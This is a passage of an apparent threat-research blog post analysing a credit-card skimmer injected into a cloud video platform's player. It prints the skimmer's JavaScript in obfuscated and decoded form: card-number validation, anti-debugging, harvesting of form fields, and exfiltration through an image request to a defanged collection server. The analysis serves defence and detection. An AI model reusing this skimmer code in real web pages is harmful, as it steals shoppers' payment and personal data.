|-------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | 0 "replace" 1 "test" 2 "length" 3 "charAt" 4 "isOpen" 5 "orientation" 6 "dispatchEvent" 7 "outerWidth" 8 "innerWidth" 9 "outerHeight" 10 "innerHeight" 11 "vertical" 12 "horizontal" 13 "Firebug" 14 "chrome" 15 "isInitialized" 16 "undefined" 17 "exports" 18 "devtools" 19 "hashCode" 20 "charCodeAt" 21 "Gate" 22 "Data" 23 "SaveParam" 24 "SaveAllFields" 25 "input" 26 "select" 27 "textarea" 28 "SendData" 29 "TrySend" 30 "IMG" 31 "GetImageUrl" 32 "?reff=" 33 "onreadystatechange" 34 "readyState" 35 "complete" 36 "setInterval" |

### Skimmer Code Part Two

JavaScript  
function c(e, t, r) { return e\[l("0x0")\](new RegExp(t, "g"), r) } function d(e) { var t = /^(?:4\[0-9\]{12}(?:\[0-9\]{3})?)$/; var r = /^(?:5\[1-5\]\[0-9\]{14})$/; var i = /^(?:3\[47\]\[0-9\]{13})$/; var n = /^(?:6(?:011|5\[0-9\]\[0-9\])\[0-9\]{12})$/; var a = !\[\]; if (t\["test"\](e)) { a = !!\[\] } else if (r\[l("0x1")\](e)) { a = !!\[\] } else if (i\[l("0x1")\](e)) { a = !!\[\] } else if (n\[l("0x1")\](e)) { a = !!\[\] } return a } function f(e) { if (/\[^0-9-\\s\]+/ \["test"\](e)) return !\[\]; var t = 0, r = 0, i = !\[\]; e = e\[l("0x0")\](/\\D/g, ""); for (var n = e\[l("0x2")\] - 1; n \>= 0; n--) { var a = e\[l("0x3")\](n), r = parseInt(a, 10); if (i) { if ((r \*= 2) \> 9) r -= 9 } t += r; i = !i } return t % 10 == 0 }

|-------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | function c(e, t, r) { return e\[l("0x0")\](new RegExp(t, "g"), r) } function d(e) { var t = /^(?:4\[0-9\]{12}(?:\[0-9\]{3})?)$/; var r = /^(?:5\[1-5\]\[0-9\]{14})$/; var i = /^(?:3\[47\]\[0-9\]{13})$/; var n = /^(?:6(?:011|5\[0-9\]\[0-9\])\[0-9\]{12})$/; var a = !\[\]; if (t\["test"\](e)) { a = !!\[\] } else if (r\[l("0x1")\](e)) { a = !!\[\] } else if (i\[l("0x1")\](e)) { a = !!\[\] } else if (n\[l("0x1")\](e)) { a = !!\[\] } return a } function f(e) { if (/\[^0-9-\\s\]+/ \["test"\](e)) return !\[\]; var t = 0, r = 0, i = !\[\]; e = e\[l("0x0")\](/\\D/g, ""); for (var n = e\[l("0x2")\] - 1; n \>= 0; n--) { var a = e\[l("0x3")\](n), r = parseInt(a, 10); if (i) { if ((r \*= 2) \> 9) r -= 9 } t += r; i = !i } return t % 10 == 0 } |

Part two defines three functions:

1. Function c is used to replace the string with a regex pattern.
2. Function d is used to verify whether a string matches a credit card pattern. We can see it uses four regex patterns.
3. Function f is used to verify credit card numbers with the [Luhn algorithm](https://en.wikipedia.org/wiki/Luhn_algorithm#).

### Skimmer Code Part Three

JavaScript  
(function() { "use strict"; const t = {}; t\[l("0x4")\] = !\[\]; t\[l("0x5")\] = undefined; const r = 160; const i = (t, r) =\> { e\[l("0x6")\](new CustomEvent("devtoolschange", { detail: { isOpen: t, orientation: r } })) }; setInterval(() =\> { const n = e\[l("0x7")\] - e\[l("0x8")\] \> r; const a = e\[l("0x9")\] - e\[l("0xa")\] \> r; const s = n ? l("0xb") : l("0xc"); if (!(a \&\& n) \&\& (e\[l("0xd")\] \&\& e\["Firebug"\]\[l("0xe")\] \&\& e\[l("0xd")\]\["chrome"\]\[l("0xf")\] || n || a)) { if (!t\["isOpen"\] || t\[l("0x5")\] !== s) { i(!!\[\], s) } t\["isOpen"\] = !!\[\]; t\["orientation"\] = s } else { if (t\[l("0x4")\]) { i(!\[\], undefined) } t\["isOpen"\] = !\[\]; t\[l("0x5")\] = undefined } }, 500); if (typeof module !== l("0x10") \&\& module\[l("0x11")\]) { module\[l("0x11")\] = t } else { e\[l("0x12")\] = t } })();

|----------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | (function() { "use strict"; const t = {}; t\[l("0x4")\] = !\[\]; t\[l("0x5")\] = undefined; const r = 160; const i = (t, r) =\> { e\[l("0x6")\](new CustomEvent("devtoolschange", { detail: { isOpen: t, orientation: r } })) }; setInterval(() =\> { const n = e\[l("0x7")\] - e\[l("0x8")\] \> r; const a = e\[l("0x9")\] - e\[l("0xa")\] \> r; const s = n ? l("0xb") : l("0xc"); if (!(a \&\& n) \&\& (e\[l("0xd")\] \&\& e\["Firebug"\]\[l("0xe")\] \&\& e\[l("0xd")\]\["chrome"\]\[l("0xf")\] || n || a)) { if (!t\["isOpen"\] || t\[l("0x5")\] !== s) { i(!!\[\], s) } t\["isOpen"\] = !!\[\]; t\["orientation"\] = s } else { if (t\[l("0x4")\]) { i(!\[\], undefined) } t\["isOpen"\] = !\[\]; t\[l("0x5")\] = undefined } }, 500); if (typeof module !== l("0x10") \&\& module\[l("0x11")\]) { module\[l("0x11")\] = t } else { e\[l("0x12")\] = t } })(); |

Part three is an anti-debug code. With decryption, it looks as below:  
JavaScript  
var e = { open: !1, orientation: null }; n = 160, o = function(e, n) { window.dispatchEvent(new CustomEvent("devtoolschange", { detail: { open: e, orientation: n } })) }; setInterval(function() { var t = window.outerWidth - window.innerWidth \> n, i = window.outerHeight - window.innerHeight \> n, d = t ? "vertical" : "horizontal"; i \&\& t || !(window.Firebug \&\& window.Firebug.chrome \&\& window.Firebug.chrome.isInitialized || t || i) ? (e.open \&\& o(!1, null), e.open = !1, e.orientation = null) : (e.open \&\& e.orientation === d || o(!0, d), e.open = !0, e.orientation = d) }, 500) "undefined" != typeof module \&\& module.exports ? module.exports = e : window.devtools = e

|----------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | var e = { open: !1, orientation: null }; n = 160, o = function(e, n) { window.dispatchEvent(new CustomEvent("devtoolschange", { detail: { open: e, orientation: n } })) }; setInterval(function() { var t = window.outerWidth - window.innerWidth \> n, i = window.outerHeight - window.innerHeight \> n, d = t ? "vertical" : "horizontal"; i \&\& t || !(window.Firebug \&\& window.Firebug.chrome \&\& window.Firebug.chrome.isInitialized || t || i) ? (e.open \&\& o(!1, null), e.open = !1, e.orientation = null) : (e.open \&\& e.orientation === d || o(!0, d), e.open = !0, e.orientation = d) }, 500) "undefined" != typeof module \&\& module.exports ? module.exports = e : window.devtools = e |

Basically, it checks if window.Firebug, window.Firebug.chrome and window.Firebug.chrome.isInitialized variables exist. It also sends a devtoolschange message to check whether the Chrome console is opened.

### Skimmer Code Part Four

JavaScript  
String\["prototype"\]\[l("0x13")\] = function() { String\["prototype"\]\[l("0x13")\] = function() { var e = 0, t, r; if (this\[l("0x2")\] === 0) return e; for (t = 0; t \< this\[l("0x2")\]; t++) { r = this\[l("0x14")\](t); e = (e \<\< 5) - e + r; e |= 0 } return e }; var h = {}; h\[l("0x15")\] = "https://cdn-imgcloud\[.\]com/img"; h\[l("0x16")\] = {}; h\["Sent"\] = \[\]; h\["IsValid"\] = !\[\]; h\[l("0x17")\] = function(e) { if (e.id !== undefined \&\& e.id != "" \&\& e.id !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.id\] = e.value; return } if (e.name !== undefined \&\& e.name != "" \&\& e.name !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.name\] = e.value; return } }; h\[l("0x18")\] = function() { var e = t.getElementsByTagName(l("0x19")); var r = t.getElementsByTagName(l("0x1a")); var i = t.getElementsByTagName(l("0x1b")); for (var n = 0; n \< e.length; n++) h.SaveParam(e\[n\]); for (var n = 0; n \< r.length; n++) h.SaveParam(r\[n\]); for (var n = 0; n \< i.length; n++) h.SaveParam(i\[n\]) }; h\[l("0x1c")\] = function() { if (!e.devtools.isOpen \&\& h.IsValid) { h.Data\["Domain"\] = location.hostname; var t = encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r = t.hashCode(); for (var i = 0; i \< h.Sent.length; i++) if (h.Sent\[i\] == r) return; h.LoadImage(t) } }; h\[l("0x1d")\] = function() { h.SaveAllFields(); h.SendData() }; h\["LoadImage"\] = function(e) { h.Sent.push(e.hashCode()); var r = t.createElement(l("0x1e")); r.src = h.GetImageUrl(e) }; h\[l("0x1f")\] = function(e) { return h.Gate + l("0x20") + e }; t\[l("0x21")\] = function() { if (t\[l("0x22")\] === l("0x23")) { e\[l("0x24")\](h\[l("0x1d")\], 500) } };

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | String\["prototype"\]\[l("0x13")\] = function() { String\["prototype"\]\[l("0x13")\] = function() { var e = 0, t, r; if (this\[l("0x2")\] === 0) return e; for (t = 0; t \< this\[l("0x2")\]; t++) { r = this\[l("0x14")\](t); e = (e \<\< 5) - e + r; e |= 0 } return e }; var h = {}; h\[l("0x15")\] = "https://cdn-imgcloud\[.\]com/img"; h\[l("0x16")\] = {}; h\["Sent"\] = \[\]; h\["IsValid"\] = !\[\]; h\[l("0x17")\] = function(e) { if (e.id !== undefined \&\& e.id != "" \&\& e.id !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.id\] = e.value; return } if (e.name !== undefined \&\& e.name != "" \&\& e.name !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.name\] = e.value; return } }; h\[l("0x18")\] = function() { var e = t.getElementsByTagName(l("0x19")); var r = t.getElementsByTagName(l("0x1a")); var i = t.getElementsByTagName(l("0x1b")); for (var n = 0; n \< e.length; n++) h.SaveParam(e\[n\]); for (var n = 0; n \< r.length; n++) h.SaveParam(r\[n\]); for (var n = 0; n \< i.length; n++) h.SaveParam(i\[n\]) }; h\[l("0x1c")\] = function() { if (!e.devtools.isOpen \&\& h.IsValid) { h.Data\["Domain"\] = location.hostname; var t = encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r = t.hashCode(); for (var i = 0; i \< h.Sent.length; i++) if (h.Sent\[i\] == r) return; h.LoadImage(t) } }; h\[l("0x1d")\] = function() { h.SaveAllFields(); h.SendData() }; h\["LoadImage"\] = function(e) { h.Sent.push(e.hashCode()); var r = t.createElement(l("0x1e")); r.src = h.GetImageUrl(e) }; h\[l("0x1f")\] = function(e) { return h.Gate + l("0x20") + e }; t\[l("0x21")\] = function() { if (t\[l("0x22")\] === l("0x23")) { e\[l("0x24")\](h\[l("0x1d")\], 500) } }; |

After decryption, the code samples are very clear. Let's see what these code snippets do.

The code below defines the hashCode function, which is used to encrypt credit card content.

### Code Analysis

JavaScript  
// l\["0x13"\] == "hashCode", so // l\["0x13"\] == "hashCode" String\["prototype"\]\["0x13"\] = function() { var e = 0, t, r; if (this\[l("0x2")\] === 0) return e; for (t = 0; t \< this\[l("0x2")\]; t++) { r = this\[l("0x14")\](t); e = (e \<\< 5) - e + r; e |= 0 } return e };

|-------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 | // l\["0x13"\] == "hashCode", so // l\["0x13"\] == "hashCode" String\["prototype"\]\["0x13"\] = function() { var e = 0, t, r; if (this\[l("0x2")\] === 0) return e; for (t = 0; t \< this\[l("0x2")\]; t++) { r = this\[l("0x14")\](t); e = (e \<\< 5) - e + r; e |= 0 } return e }; |

The following code defines Gate and Data variables. The Data variable saves credit card information, and the Gate variable saves the C2 server.  
JavaScript  
var h = {}; h\[l("0x15")\] = "https://cdn-imgcloud\[.\]com/img"; //l("0x15") is "Gate" string h\[l("0x16")\] = {}; // l("0x16") is string "Data" h\["Sent"\] = \[\]; h\["IsValid"\] = !\[\];

|-----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 | var h = {}; h\[l("0x15")\] = "https://cdn-imgcloud\[.\]com/img"; //l("0x15") is "Gate" string h\[l("0x16")\] = {}; // l("0x16") is string "Data" h\["Sent"\] = \[\]; h\["IsValid"\] = !\[\]; |

The code samples below reveal how the skimmer steals credit card information and sends it out. We have broken the process down into the following steps:

1. First, it uses onreadystatechange to check whether the page load is done. It then calls the TrySend function.

2. The TrySend function calls the SaveAllFields function to read the customer input information, such as name and email address, from the HTML document, and then calls SaveParam to check if the data is valid. If valid, it will save this information into the Data variable.

3. Next, the TrySend function will call the SendData function to send the data. The SendData function will then call the LoadImage function to create an \<img\> HTML tag and fill the image source with a C2 URL.  
   JavaScript  
   //l("0x17") is string "SaveParam" h\["SaveParam"\]: function(elem) { if (e.id !== undefined \&\& e.id != "" \&\& e.id !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.id\] = e.value; return } if (e.name !== undefined \&\& e.name != "" \&\& e.name !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.name\] = e.value; return } } // l("0x18") is string "SaveAllFields" h\["SaveAllFields"\]: function() { var inputs = document.getElementsByTagName("input"); var selects = document.getElementsByTagName("select"); var textareas = document.getElementsByTagName("textarea"); for(var i = 0; i \< inputs.length; i++) h.SaveParam(inputs\[i\]); for(var i = 0; i \< selects.length; i++) h.SaveParam(selects\[i\]); for(var i = 0; i \< textareas.length; i++) h.SaveParam(textareas\[i\]); } // l("0x1c") is string "SendData" h\["SendData"\]: function() { if (!e.devtools.isOpen \&\& h.IsValid) { h.Data\["Domain"\] = location.hostname; var t = encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r = t.hashCode(); for (var i = 0; i \< h.Sent.length; i++) if (h.Sent\[i\] == r) return; h.LoadImage(t) } }, // l("0x1d") is string "TrySend" h\["TrySend"\] = function() { h.SaveAllFields(); h.SendData() }; h\["LoadImage"\] = function(e) { h.Sent.push(e.hashCode()); var r = t.createElement(l("0x1e")); // l("0x1e") is string "IMG" r.src = h.GetImageUrl(e) }; // l("0x1f") is string "GetImageUrl" h\["GetImageUrl"\] = function(e) { return h.Gate + l("0x20") + e }; // l("0x21") is string "onreadystatechange " t\["onreadystatechange"\] = function() { //if(document.readyState === 'complete') if (t\[l("0x22")\] === l("0x23")) { e\[l("0x24")\](h\[l("0x1d")\], 500) // call setInterval(TrySend, 500); } };

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | //l("0x17") is string "SaveParam" h\["SaveParam"\]: function(elem) { if (e.id !== undefined \&\& e.id != "" \&\& e.id !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.id\] = e.value; return } if (e.name !== undefined \&\& e.name != "" \&\& e.name !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.name\] = e.value; return } } // l("0x18") is string "SaveAllFields" h\["SaveAllFields"\]: function() { var inputs = document.getElementsByTagName("input"); var selects = document.getElementsByTagName("select"); var textareas = document.getElementsByTagName("textarea"); for(var i = 0; i \< inputs.length; i++) h.SaveParam(inputs\[i\]); for(var i = 0; i \< selects.length; i++) h.SaveParam(selects\[i\]); for(var i = 0; i \< textareas.length; i++) h.SaveParam(textareas\[i\]); } // l("0x1c") is string "SendData" h\["SendData"\]: function() { if (!e.devtools.isOpen \&\& h.IsValid) { h.Data\["Domain"\] = location.hostname; var t = encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r = t.hashCode(); for (var i = 0; i \< h.Sent.length; i++) if (h.Sent\[i\] == r) return; h.LoadImage(t) } }, // l("0x1d") is string "TrySend" h\["TrySend"\] = function() { h.SaveAllFields(); h.SendData() }; h\["LoadImage"\] = function(e) { h.Sent.push(e.hashCode()); var r = t.createElement(l("0x1e")); // l("0x1e") is string "IMG" r.src = h.GetImageUrl(e) }; // l("0x1f") is string "GetImageUrl" h\["GetImageUrl"\] = function(e) { return h.Gate + l("0x20") + e }; // l("0x21") is string "onreadystatechange " t\["onreadystatechange"\] = function() { //if(document.readyState === 'complete') if (t\[l("0x22")\] === l("0x23")) { e\[l("0x24")\](h\[l("0x1d")\], 500) // call setInterval(TrySend, 500); } }; |

## Malicious Code in Video

How does the attacker inject the malicious code into the player of the cloud video platform? Let's take a look. When the cloud platform user creates a player, the user is allowed to add their own JavaScript customizations by uploading a JavaScript file to be included in their player. In this specific instance, the user uploaded a script that could be modified upstream to include malicious content.

We infer that the attacker altered the static script at its hosted location by attaching skimmer code. Upon the next player update, the video platform re-ingested the compromised file and served it along with the impacted player.

From the code analysis, we know the skimmer snippet is trying to gather victims' sensitive information such as names, emails, phone numbers, and send them to a collection server, https://cdn-imgcloud\[.\]com/img, which is also marked as malicious in VirusTotal:
![VirusTotal results for the collection server where the web skimmer discussed here sends sensitive information gathered from victims.](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/12/word-image-21.png) Figure 3. VirusTotal result for the collection server.

## Conclusion

In this skimmer campaign, we traced the malicious activity from the skimmer scripts to the source of the cloud video platform. We also did a deep dive into the code snippets collected from the skimmer campaign.

The skimmer itself is highly polymorphic, elusive and continuously evolving. When combined with cloud distribution platforms, the impact of a skimmer of this type could be very large. For these reasons, attacks like this raise the stakes for security researchers to untangle their sophisticated strategies and trace them to the root cause. We have to invent more sophisticated strategies to detect skimmer campaigns of this type, since merely blocking domain names or URLs used by skimmers is ineffective.

For website administrators, it is advisable to safeguard any accounts, avoid theft by phishing or social engineering, and manage permissions well. Also, we highly recommend conducting web content integrity checks on a regular basis. This can help detect and prevent injection of malicious code into the website content.

Palo Alto Networks customers are protected from skimmer (aka formjacking) attacks via the [WildFire](https://www.paloaltonetworks.com/products/secure-the-network/wildfire) and [URL Filtering](https://www.paloaltonetworks.com/products/threat-detection-and-prevention/web-security) subscription services for the Next-Generation Firewall.

## Indicators of Compromise

Indicators of compromise for the web skimmer attacks discussed here can be found on [GitHub](https://github.com/pan-unit42/iocs/blob/master/Skimmer_IOC.txt).
Back to top

### Tags

* [Formjacking Attack](https://unit42.paloaltonetworks.com/tag/formjacking-attack/ "Formjacking Attack")
* [Web skimmer](https://unit42.paloaltonetworks.com/tag/web-skimmer/ "web skimmer")  
  [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Strategically Aged Domain Detection: Capture APT Attacks With DNS Traffic Trends](https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/ "Strategically Aged Domain Detection: Capture APT Attacks With DNS Traffic Trends")

### Table of Contents

* 

### Related Articles

* [Why Is an Australian Footballer Collecting My Passwords? The Various Ways Malicious JavaScript Can Steal Your Secrets](https://unit42.paloaltonetworks.com/malicious-javascript-steals-sensitive-data/ "article - table of contents")
* [Recent Trends in Internet Threats: Common Industries Impersonated in Phishing Attacks, Web Skimmer Analysis and More](https://unit42.paloaltonetworks.com/internet-threats-late-2022/ "article - table of contents")
* [Trends in Web Threats in CY Q2 2022: Malicious JavaScript Downloaders Are Evolving](https://unit42.paloaltonetworks.com/web-threats-malicious-javascript-downloader/ "article - table of contents")

## Related Resources

![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/12_Security-Technology_Category_1920x900-786x368.jpg)  
[![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 10, 2026 [#### The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/)

* [API](https://unit42.paloaltonetworks.com/tag/api/ "API")

* [Cryptographic](https://unit42.paloaltonetworks.com/tag/cryptographic/ "cryptographic")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE")  
  ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/)

* [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel")

* [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2")

* [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure")  
  ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/)

* [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI")

* [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT")

* [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America")  
  ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/)

* [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa")

* [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID")

* [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams")  
  ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/)

* [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor")

* [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin")

* [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution")  
  ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/)

* [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication")

* [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft")

* [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware")  
